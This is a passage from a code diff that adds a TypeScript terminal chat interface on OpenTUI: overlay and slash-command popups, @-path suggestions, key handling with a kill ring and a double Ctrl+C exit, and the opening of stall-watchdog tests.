opts?.items ?? makeHelpItems(), + activeIndex: opts?.activeIndex ?? 0, + frameId: "overlay-help", + ...(opts?.itemIds !== undefined ? { itemIds: opts.itemIds } : {}), + ...(opts?.onAccept !== undefined ? { onAccept: opts.onAccept } : {}), + }) +} + +export function openPluginsOverlay( + shell: AppShell, + opts?: OpenResidualListOpts, +): void { + openListOverlay(shell, { + kind: "plugins", + title: "plugins", + items: opts?.items ?? makePluginsItems(), + activeIndex: opts?.activeIndex ?? 0, + frameId: "overlay-plugins", + ...(opts?.itemIds !== undefined ? { itemIds: opts.itemIds } : {}), + ...(opts?.onAccept !== undefined ? { onAccept: opts.onAccept } : {}), + }) +} + +export function openResumeOverlay( + shell: AppShell, + opts?: OpenResidualListOpts, +): void { + openListOverlay(shell, { + kind: "resume", + title: "resume session", + items: opts?.items ?? makeResumeItems(), + activeIndex: opts?.activeIndex ?? 0, + frameId: "overlay-resume", + ...(opts?.itemIds !== undefined ? { itemIds: opts.itemIds } : {}), + ...(opts?.onAccept !== undefined ? { onAccept: opts.onAccept } : {}), + }) +} + +export function openMentionsOverlay( + shell: AppShell, + opts?: OpenResidualListOpts, +): void { + openListOverlay(shell, { + kind: "mentions", + title: "mentions", + items: opts?.items ?? makeMentionItems(), + activeIndex: opts?.activeIndex ?? 0, + frameId: "overlay-mentions", + ...(opts?.itemIds !== undefined ? { itemIds: opts.itemIds } : {}), + ...(opts?.onAccept !== undefined ? { onAccept: opts.onAccept } : {}), + }) +} + +/** Keys that only move the caret — they must not cancel history browsing. */ +const MOTION_KEYS: ReadonlySet = new Set([ + "up", + "down", + "left", + "right", + "home", + "end", + "pageup", + "pagedown", + "tab", + "escape", +]) + +const defaultMentionSource: MentionSuggestionSource = (prefix) => + listPathSuggestions(prefix, process.cwd()) + +/** + * Open path suggestions for the @token under the cursor and splice the + * accepted entry back into the prompt. Directory picks re-open one level + * down so the operator can drill in without typing the path. + * Returns false when the cursor is not inside an @token or nothing matched. + */ +export async function openAtMentionSuggestions(shell: AppShell): Promise { + const at = parseAtState(shell.prompt.value, shell.prompt.cursorOffset) + if (at === null) { + closeMentionPopup(shell) + return false + } + + // Every keystroke re-queries; a slower earlier query must not overwrite the + // list a later one already produced. + const generation = (mentionGenerations.get(shell) ?? 0) + 1 + mentionGenerations.set(shell, generation) + + const cursor = shell.prompt.cursorOffset + const source = shellMentionSource.get(shell) ?? defaultMentionSource + const token = splitMentionToken(at.prefix) + let suggestions = filterMentionSuggestions( + await source(token.dir), + token.fragment, + ) + // The source caps how many entries it returns per directory, so a large + // directory can cap out before the interior match appears. Asking it to do + // its own prefix filter puts that cap after the narrowing instead of before. + if (suggestions.length === 0 && token.fragment.length > 0) { + suggestions = await source(at.prefix) + } + if (mentionGenerations.get(shell) !== generation) return false + + if (suggestions.length === 0) { + // Mirrors `/`'s no-match contract: close the popup and leave the typed + // text standing, with no empty-state message. + closeMentionPopup(shell) + return false + } + + closeMentionPopup(shell) + openMentionsOverlay(shell, { + items: [...suggestions], + onAccept: (selection) => { + const completion = suggestions[selection.index] + if (completion === undefined) return + const spliced = spliceMentionCompletion( + shell.prompt.value, + at.atStart, + cursor, + completion, + ) + shell.prompt.value = spliced.value + shell.prompt.cursorOffset = spliced.cursor + shell.sentHistory = sentHistoryOnEdit(shell.sentHistory) + if (completion.endsWith("/")) void openAtMentionSuggestions(shell) + }, + }) + mentionPopups.add(shell) + return true +} + +const mentionPopups = new WeakSet() +const mentionGenerations = new WeakMap() + +/** True while the `@` path popup owns typed characters. */ +export function isMentionPopupOpen(shell: AppShell): boolean { + return mentionPopups.has(shell) && shell.overlayKind === "mentions" +} + +export function closeMentionPopup(shell: AppShell): void { + if (!mentionPopups.has(shell)) return + mentionPopups.delete(shell) + if (shell.overlayList) closeInsetOverlay(shell) +} + +function editPromptAt(shell: AppShell, value: string, cursor: number): void { + shell.prompt.value = value + shell.prompt.cursorOffset = cursor + shell.sentHistory = sentHistoryOnEdit(shell.sentHistory) +} + +/** + * Keys the `@` popup claims while open — the same contract as the `/` popup: + * printable characters narrow the list, Backspace widens it, and a query that + * matches nothing closes the popup with the typed text left in place. + * + * The prompt does not hold focus while the overlay is open, so this inserts and + * deletes the characters itself rather than letting the InputRenderable do it. + */ +export function handleMentionPopupKey(shell: AppShell, key: KeyEvent): boolean { + if (!isMentionPopupOpen(shell) || shell.overlayList === null) return false + if (key.ctrl || key.meta || key.option) return false + + const value = shell.prompt.value + const cursor = shell.prompt.cursorOffset + + if (key.name === "backspace") { + if (cursor === 0) { + closeMentionPopup(shell) + return true + } + editPromptAt(shell, value.slice(0, cursor - 1) + value.slice(cursor), cursor - 1) + // Deleting the `@` itself ends the mention; there is nothing left to filter. + if (value[cursor - 1] === "@") closeMentionPopup(shell) + else void openAtMentionSuggestions(shell) + return true + } + + const seq = typeof key.sequence === "string" ? key.sequence : "" + if (seq.length !== 1 || seq < " ") return false + + editPromptAt(shell, value.slice(0, cursor) + seq + value.slice(cursor), cursor + 1) + // Whitespace terminates the @token, so the popup has nothing left to narrow. + if (/\s/.test(seq)) closeMentionPopup(shell) + else void openAtMentionSuggestions(shell) + return true +} + +const slashPopups = new WeakSet() + +/** True while the `/` command popup owns typed characters. */ +export function isSlashPopupOpen(shell: AppShell): boolean { + return slashPopups.has(shell) && shell.overlayList !== null +} + +/** + * Popup query = prompt text after the leading `/`. Null once the operator has + * typed whitespace: at that point the name is settled and the rest is arguments. + */ +function slashPopupQuery(shell: AppShell): string | null { + const value = shell.prompt.value + if (!value.startsWith("/")) return null + const head = value.slice(1) + return /\s/.test(head) ? null : head +} + +/** Registry-backed slash entries only — residual openers stay on Ctrl+O. */ +function slashCatalog(shell: AppShell): readonly PaletteCommand[] { + return resolvePaletteCatalog(shell).filter( + (cmd) => paletteDispatchOf(cmd) === "command", + ) +} + +export function closeSlashPopup(shell: AppShell): void { + if (!slashPopups.has(shell)) return + slashPopups.delete(shell) + if (shell.overlayList) closeInsetOverlay(shell) +} + +/** + * Open (or refresh) the `/` command popup for the name being typed. Reuses the + * palette overlay so accept dispatches through the same registry path as a + * typed `/name`. Returns false when nothing matches — the typed text stays. + */ +export function openSlashCommands(shell: AppShell): boolean { + const query = slashPopupQuery(shell) + if (query === null) { + closeSlashPopup(shell) + return false + } + // Name-prefix, not the palette's fuzzy label match: at the prompt the + // operator is typing the command they already mean. + const q = query.toLowerCase() + const matches = slashCatalog(shell).filter((cmd) => + cmd.id.toLowerCase().startsWith(q), + ) + if (matches.length === 0) { + closeSlashPopup(shell) + return false + } + closeSlashPopup(shell) + openPalette(shell, { catalog: matches, title: "commands · /" }) + slashPopups.add(shell) + return true +} + +function setPromptText(shell: AppShell, value: string): void { + shell.prompt.value = value + shell.prompt.cursorOffset = value.length + shell.sentHistory = sentHistoryOnEdit(shell.sentHistory) +} + +/** + * Keys the `/` popup claims while open. Returns true when handled. + * + * Enter runs the highlighted command with no arguments; Tab instead completes + * the name and leaves the popup so arguments can be typed — a command that + * needs arguments should not fire bare just because its name matched. + */ +export function handleSlashPopupKey(shell: AppShell, key: KeyEvent): boolean { + if (!isSlashPopupOpen(shell) || shell.overlayList === null) return false + + if (key.name === "backspace" && !key.ctrl && !key.meta && !key.option) { + setPromptText(shell, shell.prompt.value.slice(0, -1)) + openSlashCommands(shell) + return true + } + + const active = shell.paletteCommands[shell.overlayList.activeIndex] + + if (key.name === "tab" && !key.ctrl && !key.meta && !key.option) { + if (active) setPromptText(shell, `/${active.id} `) + closeSlashPopup(shell) + return true + } + + if ( + (key.name === "return" || key.name === "enter") && + !key.ctrl && + !key.meta && + !key.option + ) { + closeSlashPopup(shell) + setPromptText(shell, "") + if (active) dispatchPaletteSelection(shell, active) + return true + } + + const seq = typeof key.sequence === "string" ? key.sequence : "" + const printable = + seq.length === 1 && + seq >= " " && + seq !== "" && + !key.ctrl && + !key.meta && + !key.option + if (!printable) return false + + setPromptText(shell, shell.prompt.value + seq) + // Whitespace ends the name; keep the popup out of the way while args are typed. + if (/\s/.test(seq)) closeSlashPopup(shell) + else openSlashCommands(shell) + return true +} + +/** Window in which a second Ctrl+C is read as "yes, quit". */ +export const CTRL_C_EXIT_WINDOW_MS = 2000 + +const ctrlCArmedAt = new WeakMap() + +/** + * Ctrl+C: interrupt / clear, and quit on a second press inside the window. + * The double press replaces the old Ink y/n exit confirm — same intent (an + * explicit second confirmation), no modal. Quitting routes through the + * registered exit handler so host finalize still runs. + */ +export function handleCtrlC( + shell: AppShell, + now = Date.now(), + options?: FlashOptions, +): void { + const armedAt = ctrlCArmedAt.get(shell) + if (armedAt !== undefined && now - armedAt <= CTRL_C_EXIT_WINDOW_MS) { + ctrlCArmedAt.delete(shell) + const onExit = shellExitHandlers.get(shell) + if (onExit !== undefined) { + onExit() + return + } + } + ctrlCArmedAt.set(shell, now) + + if (shell.session.run === "busy" || badgeCount(shell.session) > 0) { + interruptShell(shell) + } else if (shell.prompt.value.length > 0) { + shell.prompt.value = "" + } + // The notice is exactly as true as the arming window is open, so it expires + // with it rather than waiting for some later flash to overwrite it. + setStatusFlash(shell, "press ctrl+c again to exit", { + ttlMs: CTRL_C_EXIT_WINDOW_MS, + ...(options?.schedule !== undefined ? { schedule: options.schedule } : {}), + }) +} + +/** + * Build the app shell frame on an OpenTUI renderer. + * Mounts sticky transcript / overlay host / transient notice / prompt box. + */ +export function createAppShell( + renderer: ShellRenderer, + options?: AppShellOptions, +): AppShell { + const title = options?.title ?? DEFAULT_TITLE + const visibility = defaultVisibility(options?.visibility) + const promptContentRows = options?.promptContentRows ?? PROMPT_IDLE_ROWS + const wireKeys = options?.wireKeys !== false + const mount = options?.mount !== false + // A freshly mounted shell has nothing in flight; the runner sets busy when a + // turn starts. Defaulting to busy made the landing screen offer "^C stop". + const run = options?.run ?? "idle" + const overlayItems = options?.overlayItems ?? [...DEFAULT_OVERLAY_ITEMS] + const paletteCatalogOpt = options?.paletteCatalog ?? null + const onCommandOpt = options?.onCommand + const onObserveRequestOpt = options?.onObserveRequest + + const terminal = terminalOf(renderer, options?.terminal) + const layout = resolveGeometry({ + terminal, + visibility, + overlay: { mode: "closed" }, + promptContentRows, + }) + + const ctx = renderer as CliRenderer + + const root = new BoxRenderable(ctx, { + id: "app-shell", + width: "100%", + height: "100%", + flexDirection: "column", + backgroundColor: UI.ground, + paddingLeft: layout.sideMargin, + paddingRight: layout.sideMargin, + }) + + // One optical gutter for the whole shell: every zone is a child of the padded + // root, so nothing can drift out of alignment with the rest. + const topPad = new BoxRenderable(ctx, { + id: "shell-top-pad", + width: "100%", + height: 1, + flexShrink: 0, + backgroundColor: UI.ground, + }) + + // Same gutter, other end: keeps the prompt box off the terminal's last row. + const bottomPad = new BoxRenderable(ctx, { + id: "shell-bottom-pad", + width: "100%", + height: 1, + flexShrink: 0, + backgroundColor: UI.ground, + }) + + // Optional chrome zones (off by default; setChromeZones turns them on). + const goalBox = new BoxRenderable(ctx, { + id: "shell-goal", + width: "100%", + height: 1, + flexShrink: 0, + backgroundColor: UI.ground, + visible: false, + }) + const goalText = new TextRenderable(ctx, { + id: "shell-goal-text", + content: "", + fg: UI.text, + }) + goalBox.add(goalText) + + const taskBox = new BoxRenderable(ctx, { + id: "shell-task", + width: "100%", + height: 1, + flexShrink: 0, + backgroundColor: UI.ground, + visible: false, + }) + const taskText = new TextRenderable(ctx, { + id: "shell-task-text", + content: "", + fg: UI.inFlight, + }) + taskBox.add(taskText) + + const agentsBox = new BoxRenderable(ctx, { + id: "shell-agents", + width: "100%", + height: 1, + flexShrink: 0, + backgroundColor: UI.ground, + visible: false, + }) + const agentsText = new TextRenderable(ctx, { + id: "shell-agents-text", + content: "", + fg: UI.done, + }) + agentsBox.add(agentsText) + + const transcript = new ScrollBoxRenderable(ctx, { + id: "shell-transcript", + width: "100%", + height: Math.max(1, layout.heights.transcript), + flexShrink: 0, + stickyScroll: true, + stickyStart: "bottom", + scrollY: true, + focusable: true, + rootOptions: { backgroundColor: UI.ground }, + contentOptions: { backgroundColor: UI.ground }, + viewportOptions: { backgroundColor: UI.ground }, + }) + // The transcript scrolls with the keyboard, and the bar spent a column on + // every row to say so. Position is legible from the content itself. + transcript.verticalScrollBar.visible = false + transcript.horizontalScrollBar.visible = false + + // Leading filler that bottom-anchors a short transcript; see + // `syncTranscriptSpacer`. Zero height until the first sync call. + const transcriptSpacer = new BoxRenderable(ctx, { + id: "shell-transcript-spacer", + width: "100%", + height: 0, + flexShrink: 0, + backgroundColor: UI.ground, + }) + transcript.add(transcriptSpacer) + + const landingAbove = createLandingAbove(ctx) + const landingBelowState = landingBelowContent({ + rows: splitLandingRows(layout.heights.transcript).below, + columns: layout.contentWidth, + telemetryNotice: options?.telemetryNotice, + }) + const landingBelow = createLandingBelow(ctx, landingBelowState) + + const overlayHost = new BoxRenderable(ctx, { + id: "shell-overlay-host", + width: "100%", + height: 1, + flexShrink: 0, + flexDirection: "column", + // A short terminal can leave the host fewer rows than its body wants. Rows + // that do not fit are clipped rather than painted over the chrome below, + // which would leave a half-overlay the operator cannot dismiss. + overflow: "hidden", + border: true, + borderColor: UI.action, + backgroundColor: UI.ground, + visible: false, + }) + const overlayTitle = new TextRenderable(ctx, { + id: "shell-overlay-title", + content: " overlay", + fg: UI.action, + }) + const overlayBody = new BoxRenderable(ctx, { + id: "shell-overlay-body", + width: "100%", + flexGrow: 1, + flexDirection: "column", + backgroundColor: UI.ground, + }) + overlayHost.add(overlayTitle) + overlayHost.add(overlayBody) + + // Transient only: the resolver gives it a row when paintChrome asks for one. + const notice = new TextRenderable(ctx, { + id: "shell-notice", + height: Math.max(1, layout.heights.notice), + content: "", + fg: UI.textDim, + visible: layout.heights.notice > 0, + }) + + const promptBox = new BoxRenderable(ctx, { + id: "shell-prompt-region", + width: "100%", + height: Math.max(1, layout.heights.prompt), + flexShrink: 0, + flexDirection: "column", + backgroundColor: UI.ground, + }) + // The box is drawn in three pieces rather than as one bordered Box because + // both horizontal rules carry content the frame's own border cannot: a + // right-aligned label that the rule breaks around, and an animated lockup + // whose cells are individually coloured. + const promptTopRule = new TextRenderable(ctx, { + id: "shell-prompt-top-rule", + height: 1, + content: "", + fg: UI.textFaint, + }) + const promptBottomRule = new TextRenderable(ctx, { + id: "shell-prompt-bottom-rule", + height: 1, + content: "", + fg: UI.textFaint, + }) + const promptField = new BoxRenderable(ctx, { + id: "shell-prompt-frame", + width: "100%", + height: Math.max(1, layout.heights.prompt - 2), + flexShrink: 0, + border: ["left", "right"], + borderStyle: "rounded", + borderColor: UI.textFaint, + focusedBorderColor: UI.textDim, + backgroundColor: UI.ground, + paddingLeft: 1, + paddingRight: 1, + }) + const prompt = createPromptInput(ctx, { + id: "shell-prompt", + width: "100%", + height: Math.max(1, layout.heights.prompt - 2), + placeholder: "message…", + backgroundColor: UI.ground, + focusedBackgroundColor: UI.ground, + textColor: UI.text, + cursorColor: UI.text, + placeholderColor: UI.textFaint, + }) + promptField.add(prompt) + promptBox.add(promptTopRule) + promptBox.add(promptField) + promptBox.add(promptBottomRule) + + root.add(topPad) + root.add(goalBox) + root.add(taskBox) + root.add(agentsBox) + root.add(transcript) + root.add(overlayHost) + root.add(notice) + root.add(promptBox) + root.add(landingBelow) + root.add(bottomPad) + + if (mount) { + renderer.root.add(root) + } + + let disposed = false + let session = createSessionQueue(run) + const seedPending = Math.max(0, Math.floor(options?.pendingQueue ?? 0)) + for (let i = 0; i < seedPending; i++) { + session = enqueue(session, `seed-${i + 1}`) + } + + const onKey = (key: KeyEvent): void => { + if (disposed) return + + if (key.name === "escape") { + if (exitOverlayAnswerMode(shell)) { + key.preventDefault() + return + } + if (shell.overlayList) { + key.preventDefault() + closeInsetOverlay(shell) + return + } + if (shell.observe) { + key.preventDefault() + leaveSubagentObserve(shell) + return + } + // Transcript browse (entered with Tab) is the remaining poppable frame: + // Esc hands typing back to the prompt. + if (canPopFocus(shell.focus)) { + key.preventDefault() + shell.focus = popFocus(shell.focus) + applyFocus(shell) + return + } + } + + // Landing starters. Only while the prompt is untouched, so the digit goes + // back to being a digit the moment the operator starts typing. + if ( + shell.overlayList === null && + !key.ctrl && + !key.meta && + !key.option && + typeof key.name === "string" && + applyLandingSuggestion(shell, key.name) + ) { + key.preventDefault() + return + } + + if (shell.overlayList) { + // Checked ahead of the filter handlers: an opener chord pressed again is + // a request to close, not a character to narrow the list with. + if (toggleCloseOpenSurface(shell, key)) { + key.preventDefault() + return + } + // The `/` popup filters as you type, so it claims printable keys before + // the overlay's j/k navigation can swallow them. + if (handleSlashPopupKey(shell, key)) { + key.preventDefault() + return + } + // Same reason as the `/` popup: the `@` popup narrows as you type, so it + // claims printable keys ahead of the overlay's j/k navigation. + if (handleMentionPopupKey(shell, key)) { + key.preventDefault() + return + } + // A live answer field owns every printable key, so an operator typing a + // free-form answer is not navigating the choice list instead. + if (handleOverlayAnswerKey(shell, key)) { + key.preventDefault() + return + } + // The palette filters as you type, so it claims printable keys — including + // the j/k every other overlay still uses to navigate. + if (handlePaletteFilterKey(shell, key)) { + key.preventDefault() + return + } + if (key.name === "up" || key.name === "k") { + key.preventDefault() + moveOverlaySelection(shell, -1) + return + } + if (key.name === "down" || key.name === "j") { + key.preventDefault() + moveOverlaySelection(shell, 1) + return + } + // Left/Right only mean something to an overlay that opted into cycling + // (settings). Everywhere else they fall through unclaimed. + if ( + (key.name === "left" || key.name === "right") && + !key.ctrl && + !key.meta && + !key.option && + cycleOverlaySelection(shell, key.name === "left" ? -1 : 1) + ) { + key.preventDefault() + return + } + if (key.name === "pageup") { + key.preventDefault() + pageOverlaySelection(shell, -1) + return + } + if (key.name === "pagedown") { + key.preventDefault() + pageOverlaySelection(shell, 1) + return + } + if ( + key.name === OVERLAY_EXPAND_KEY && + !key.ctrl && + !key.meta && + !key.option && + toggleOverlayExpand(shell) + ) { + key.preventDefault() + return + } + if (shell.overlayKind === "copy") { + if (key.name === "y" && !key.ctrl && !key.meta && !key.option) { + key.preventDefault() + confirmCopySelection(shell) + return + } + if (key.name === "a" && !key.ctrl && !key.meta && !key.option) { + key.preventDefault() + copyAllTargets(shell) + return + } + } + if (runOverlayAction(shell, key)) { + key.preventDefault() + return + } + if (key.name === "return" || key.name === "enter") { + if (!key.meta && !key.option && !key.ctrl) { + key.preventDefault() + acceptOverlaySelection(shell) + return + } + } + return + } + + // Emacs-style prompt editing: Ctrl+B/F/D, arrow motion, and Alt+B/F word + // motion are already native InputRenderable bindings (see + // defaultTextareaKeyBindings in @opentui/core). What's missing is the + // kill ring — Ctrl+K/U/W and Alt+D delete natively but discard the text; + // Ctrl+Y/Alt+Y need somewhere to yank it back from. + const keyName = typeof key.name === "string" ? key.name.toLowerCase() : "" + const isCtrlKillYank = + key.ctrl && + !key.meta && + !key.option && + (keyName === "k" || keyName === "u" || keyName === "w" || keyName === "y") + const isAltKillYank = + (key.meta || key.option) && !key.ctrl && (keyName === "d" || keyName === "y") + if (!isCtrlKillYank && !isAltKillYank) { + shell.promptKillRing = breakKillSequence(shell.promptKillRing) + } + + if (key.ctrl && !key.meta && !key.option && keyName === "k") { + key.preventDefault() + const before = shell.prompt.value + const beforeCursor = shell.prompt.cursorOffset + shell.prompt.deleteToLineEnd() + const killed = killedTextForward(before, beforeCursor, shell.prompt.value) + shell.promptKillRing = recordKill(shell.promptKillRing, killed, "forward") + return + } + + if (key.ctrl && !key.meta && !key.option && keyName === "u") { + key.preventDefault() + const before = shell.prompt.value + const beforeCursor = shell.prompt.cursorOffset + shell.prompt.deleteToLineStart() + const killed = killedTextBackward(before, beforeCursor, shell.prompt.cursorOffset) + shell.promptKillRing = recordKill(shell.promptKillRing, killed, "backward") + return + } + + if (key.ctrl && !key.meta && !key.option && keyName === "w") { + key.preventDefault() + const before = shell.prompt.value + const beforeCursor = shell.prompt.cursorOffset + shell.prompt.deleteWordBackward() + const killed = killedTextBackward(before, beforeCursor, shell.prompt.cursorOffset) + shell.promptKillRing = recordKill(shell.promptKillRing, killed, "backward") + return + } + + if ((key.meta || key.option) && !key.ctrl && keyName === "d") { + key.preventDefault() + const before = shell.prompt.value + const beforeCursor = shell.prompt.cursorOffset + shell.prompt.deleteWordForward() + const killed = killedTextForward(before, beforeCursor, shell.prompt.value) + shell.promptKillRing = recordKill(shell.promptKillRing, killed, "forward") + return + } + + if (key.ctrl && !key.meta && !key.option && keyName === "y") { + key.preventDefault() + const yank = beginYank(shell.promptKillRing, shell.prompt.cursorOffset) + if (yank !== null) { + shell.promptKillRing = yank.ring + shell.prompt.insertText(yank.text) + } + return + } + + if ((key.meta || key.option) && !key.ctrl && keyName === "y") { + key.preventDefault() + const rotated = rotateYank(shell.promptKillRing) + if (rotated !== null && rotated.span.end <= shell.prompt.value.length) { + shell.promptKillRing = rotated.ring + shell.prompt.setSelection(rotated.span.start, rotated.span.end) + shell.prompt.deleteSelection() + shell.prompt.cursorOffset = rotated.span.start + shell.prompt.insertText(rotated.text) + } + return + } + + // Ctrl+V is a real keypress (0x16), not the system paste: the terminal + // turns CMD+V into bracketed paste, which OpenTUI delivers as its own + // `paste` event and the InputRenderable inserts as text. Binding Ctrl+V + // here therefore cannot swallow an ordinary text paste. + if (key.ctrl && !key.meta && !key.option && (keyName === "p" || keyName === "v")) { + key.preventDefault() + void attachClipboardImage(shell) + return + } + + // Typing @ at a token boundary opens path suggestions. The overlay owns + // focus while open, so the @ is inserted here rather than left to the + // InputRenderable, which would race the focus change. + if ( + !key.ctrl && + !key.meta && + !key.option && + key.sequence === "@" && + focusOwner(shell.focus) === "prompt" + ) { + const before = shell.prompt.value.slice(0, shell.prompt.cursorOffset) + if (before.length === 0 || /\s$/.test(before)) { + key.preventDefault() + shell.prompt.insertText("@") + void openAtMentionSuggestions(shell) + return + } + } + + // A slash command is only valid as the whole prompt, so `/` pops the + // command list at the start of an empty prompt and nowhere else — mid-line + // it is just a path separator. + if ( + !key.ctrl && + !key.meta && + !key.option && + key.sequence === "/" && + focusOwner(shell.focus) === "prompt" && + shell.prompt.cursorOffset === 0 && + shell.prompt.value.trim().length === 0 + ) { + key.preventDefault() + setPromptText(shell, "/") + openSlashCommands(shell) + return + } + + if ( + !key.ctrl && + !key.meta && + !key.option && + (key.name === "up" || key.name === "down") && + focusOwner(shell.focus) === "prompt" + ) { + // Multi-row prompt: Up/Down are caret motion first. Recall only fires at + // the buffer's edges, which is where a shell history is conventionally + // reachable and where the caret has nowhere left to go. + const stepped = + key.name === "up" + ? promptCaretAtFirstRow(shell.prompt) + ? stepSentHistoryUp(shell.sentHistory, shell.prompt.value) + : null + : promptCaretAtLastRow(shell.prompt) + ? stepSentHistoryDown( + shell.sentHistory, + shell.prompt.value, + shell.prompt.value.length, + ) + : null + if (stepped !== null) { + key.preventDefault() + shell.sentHistory = stepped.browse + shell.prompt.value = stepped.value + shell.prompt.cursorOffset = stepped.cursor + return + } + } else if (!MOTION_KEYS.has(keyName)) { + shell.sentHistory = sentHistoryOnEdit(shell.sentHistory) + } + + if (key.name === "tab" && !key.ctrl && !key.meta && !key.option) { + key.preventDefault() + toggleShellFocus(shell) + return + } + + // Alt+E, never bare: the prompt almost always holds focus, and a bare + // `e` would just type a letter into it instead of expanding a row. + if ( + (key.meta || key.option) && + !key.ctrl && + key.name === EXPAND_KEY + ) { + if (toggleCollapsedRow(shell)) { + key.preventDefault() + return + } + } + + // Bare key, so it is live only while the transcript holds focus and can + // never shadow a `?` typed into the prompt. + if ( + !key.ctrl && + !key.meta && + !key.option && + key.sequence === "?" && + focusOwner(shell.focus) === "transcript" + ) { + key.preventDefault() + openHelpOverlay(shell) + return + } + + if (key.ctrl && (key.name === "o" || key.name === "O")) { + // Ctrl+O reclaimed from tool-expand → command palette (Wave 6). + key.preventDefault() + openPalette(shell, { typeToFilter: true }) + return + } + + if ((key.meta || key.option) && (key.name === "c" || key.name === "C") && !key.ctrl) { + // Alt+C: keyboard copy path (no mouse drag-select). + key.preventDefault() + enterCopyMode(shell) + return + } + + if ((key.meta || key.option) && (key.name === "m" || key.name === "M") && !key.ctrl) { + // Alt+M: release mouse reporting so the terminal can drag-select. + key.preventDefault() + toggleMouseCapture(shell) + return + } + + if (key.ctrl && key.name === "c") { + key.preventDefault() + handleCtrlC(shell) + return + } + + if ( + (key.name === "return" || key.name === "enter") && + (key.meta || key.option) && + !key.ctrl + ) { + key.preventDefault() + if (shell.session.run === "busy") { + submitPrompt(shell, "steer") + } + return + } + } + + const onEnter = (): void => { + if (disposed || shell.overlayList) return + submitPrompt(shell, "queue") + } + + // Per frame rather than per keystroke: the editor view's wrapped-line table is + // rebuilt during layout, so on the content-changed callback it still describes + // the text before the edit and the box would size itself one keystroke behind. + const onFrame = (): void => { + if (disposed) return + syncPromptRows(shell) + // Applied after a natural render, not at mutation time: a row's own box + // needs a layout pass to size itself, and claiming the padding first + // starves that pass of room to lay the row out in. + syncTranscriptSpacer(shell) + syncNoticeAfterLayout(shell) + } + + const onResize = (width: number, height: number): void => { + if (disposed) return + const bag = internals.get(shell) + relayout(shell, { + columns: width, + rows: height, + overlayMode: bag?.overlayMode ?? "closed", + ...(bag?.overlayBodyRows !== undefined + ? { overlayBodyRows: bag.overlayBodyRows } + : {}), + }) + } + + if (wireKeys) { + renderer.keyInput.on("keypress", onKey) + prompt.onSubmit = onEnter + } + renderer.on(CliRenderEvents.FRAME, onFrame) + renderer.on(CliRenderEvents.RESIZE, onResize) + + const shell: AppShell = { + renderer, + root, + topPad, + bottomPad, + goalBox, + goalText, + taskBox, + taskText, + agentsBox, + agentsText, + transcript, + overlayHost, + overlayTitle, + overlayBody, + prompt, + promptBox, + promptField, + promptTopRule, + promptBottomRule, + notice, + layout, + focus: createFocusState(), + session, + pendingQueue: badgeCount(session), + lineCount: 0, + streamLog: [], + agentVoices: new Set(), + baseTitle: title, + modelLabel: null, + workspace: { cwd: options?.cwd ?? process.cwd(), branch: null }, + overlayList: null, + overlayItems, + overlayKind: null, + overlayBodyLines: [], + overlayBodyFgs: [], + paletteCommands: [], + clipboard: options?.clipboard ?? createRecordingClipboard(), + mouseCapture: options?.mouseCapture ?? null, + copyTargets: null, + statusFlash: null, + turnPhase: null, + lockupNowMs: 0, + lockupAnimating: false, + lockupPhase: null, + lockupChangedMs: 0, + costContext: null, + observe: null, + parentStreamLog: null, + promptKillRing: emptyKillRing, + pendingAttachments: [], + sentHistory: createSentHistoryBrowse([]), + disposed: false, + dispose: () => { + if (disposed) return + disposed = true + shell.disposed = true + if (wireKeys) { + renderer.keyInput.off("keypress", onKey) + prompt.onSubmit = undefined + } + renderer.off(CliRenderEvents.FRAME, onFrame) + renderer.off(CliRenderEvents.RESIZE, onResize) + flashTimers.get(shell)?.() + flashTimers.delete(shell) + try { + renderer.root.remove(root) + } catch { + // Root may already be torn down in tests. + } + destroySubtree(root) + }, + } + + internals.set(shell, { + visibility, + promptContentRows, + overlayMode: "closed", + overlayBodyRows: undefined, + priorOverlay: null, + overlayItemIds: [], + overlayOnAccept: null, + overlayOnToggleExpand: null, + overlayOnCycle: null, + overlayDescribe: null, + overlayOnAction: null, + overlayAnswer: null, + overlayTitleText: "", + overlayClosedListeners: new Set(), + paletteCatalog: paletteCatalogOpt, + paletteFilter: null, + landing: { above: landingAbove, below: landingBelow }, + landingNotice: options?.telemetryNotice ?? null, + landingBelow: landingBelowState, + landingSuggestionsVisible: true, + landingAnimating: false, + landingNowMs: 0, + chrome: { goal: "", task: "", agents: "" }, + }) + transcriptSpacers.set(shell, transcriptSpacer) + if (onCommandOpt) setPaletteOnCommand(shell, onCommandOpt) + if (onObserveRequestOpt) { + setPaletteOnObserveRequest(shell, onObserveRequestOpt) + } + applyLayout(shell, layout) + // Added after the first layout pass so the scroll box sizes it against the + // resolved transcript height rather than the pre-layout placeholder. + transcript.add(landingAbove.box) + applyFocus(shell) + return shell +} diff --git a/src/tui-opentui/smoke.ts b/src/tui-opentui/smoke.ts new file mode 100644 index 000000000..a101decc4 --- /dev/null +++ b/src/tui-opentui/smoke.ts @@ -0,0 +1,8 @@ +/** + * Headless import check for @opentui/core (no TTY required). + * Run: bun ./src/tui-opentui/smoke.ts + */ +import "@opentui/core" +import { PLATFORM_VERSION } from "./index" + +console.log(`opentui-ok platform=${PLATFORM_VERSION}`) diff --git a/src/tui-opentui/stall-watchdog.test.ts b/src/tui-opentui/stall-watchdog.test.ts new file mode 100644 index 000000000..e3ace6a7f --- /dev/null +++ b/src/tui-opentui/stall-watchdog.test.ts @@ -0,0 +1,129 @@ +import { describe, expect, test } from "bun:test" + +import { + applyStallRecovery, + shouldAbortForStall, + shouldNoticeStall, + STALL_NOTICE_MS, + STALL_RECOVERY_MESSAGE, + STALL_TIMEOUT_MS, +} from "./stall-watchdog.js" + +describe("shouldAbortForStall", () => { + const base = { + status: "running" as const, + awaitingResponse: true, + lastActivityAt: 0, + nowMs: STALL_TIMEOUT_MS, + stallTimeoutMs: STALL_TIMEOUT_MS, + isProcessing: true, + streamingType: null, + } + + test("aborts an awaiting run past the timeout", () => { + expect(shouldAbortForStall(base)).toBe(true) + }) + + test("does not abort before the timeout", () => { + expect(shouldAbortForStall({ ...base, nowMs: STALL_TIMEOUT_MS - 1 })).toBe( + false, + ) + }) + + test("only running turns are watched", () => { + expect(shouldAbortForStall({ ...base, status: "idle" })).toBe(false) + expect(shouldAbortForStall({ ...base, status: "blocked" })).toBe(false) + expect(shouldAbortForStall({ ...base, status: "done" })).toBe(false) + expect(shouldAbortForStall({ ...base, status: "stopping" })).toBe(false) + }) + + test("a settled turn with nothing in flight is not a stall", () => { + expect( + shouldAbortForStall({ + ...base, + awaitingResponse: false, + isProcessing: false, + }), + ).toBe(false) + }) + + test("mid-thinking silence fires, recent thinking tokens do not", () => { + const thinking = { + ...base, + 